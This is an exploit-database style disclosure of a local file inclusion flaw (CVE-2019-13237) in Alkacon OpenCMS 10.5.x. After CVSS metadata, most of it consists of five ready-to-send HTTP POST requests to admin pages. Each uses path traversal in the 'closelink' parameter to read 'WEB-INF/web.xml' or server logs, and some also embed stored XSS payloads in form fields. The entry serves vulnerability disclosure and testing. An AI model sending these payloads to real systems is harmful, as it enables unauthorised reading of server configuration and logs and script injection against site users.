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Alkacon OpenCMS 10.5.x Local File inclusion
2019.09.10
Credit:
Aetsu
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2019-13237
CWE:
CWE-98
CVSS Base Score:
4/10
Impact Subscore:
2.9/10
Exploitability Subscore:
8/10
Exploit range:
Remote
Attack complexity:
Low
Authentication:
Single time
Confidentiality impact:
Partial
Integrity impact:
None
Availability impact:
None
# Exploit Title: Alkacon OpenCMS 10.5.x - Multiple LFI in Alkacon OpenCms Site Management # Google Dork: N/A # Date: 18/07/2019 # Exploit Author: Aetsu # Vendor Homepage: http://www.opencms.org # Software Link: https://github.com/alkacon/opencms-core # Version: 10.5.x # Tested on: 10.5.5 / 10.5.4 # CVE : CVE-2019-13237 For the tests, I used the payloads: ``` …%2f…%2fWEB-INF%2flogs%2fopencms.log …%2f…%2fWEB-INF%2fweb.xml ``` 1. Affected resource closelink: POC: ``` POST /system/workplace/admin/workplace/loginmessage.jsp HTTP/1.1 Host: example.com enabled.0=true&enabled.0.value=true&message.0=%3Cimg+src%3D.+onerror%3Dalert%281%29%3E%0D%0A&loginForbidden.0.value=false&timeStart.0=1%2F3%2F2000+12%3A00+AM&ok=Ok&elementname=undefined&path=%252Fworkplace%252Floginmessage&elementindex=0&action=save&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&page=page1&framename= ``` 2. Affected resource closelink: POC: ``` POST /system/workplace/admin/contenttools/reports/xmlcontentrepair.jsp HTTP/1.1 Host: example.com reporttype=extended&reportcontinuekey=&thread=dcbb6737-661b-11e9-a9fc-0242ac11002b&threadhasnext=false&action=reportend&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&ok=Ok ``` 3. Affected resource closelink: POC: ``` POST /system/workplace/admin/accounts/group_new.jsp HTTP/1.1 Host: example.com name.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Name%27%29%3E&description.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Description%27%29%3E&assignedOu.0=root+organizational+unit+%28%2F%29&enabled.0=true&enabled.0.value=true&ok=Ok&oufqn=&elementname=undefined&path=%252Faccounts%252Forgunit%252Fgroups%252Fnew&elementindex=0&action=save&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&page=page1&framename= ``` 4. Affected resource closelink: POC: ``` POST /system/workplace/admin/history/settings/index.jsp HTTP/1.1 Host: example.com versions.0=10&mode.0=2&ok=OK&elementname=undefined&path=%252Fhistory%252Fsettings&elementindex=0&action=save&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&page=page1&framename= ``` 5. Affected resource closelink: POC: ``` POST /system/workplace/admin/history/reports/clearhistory.jsp HTTP/1.1 Host: example.com reporttype=extended&reportcontinuekey=&thread=ac0bbd5f-66cd-11e9-ae09-0242ac11002b&classname=org.opencms.workplace.tools.history.CmsHistoryClearDialog&threadhasnext=false&action=reportend&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&ok=OK ``` Extended POCs: https://aetsu.github.io/OpenCms
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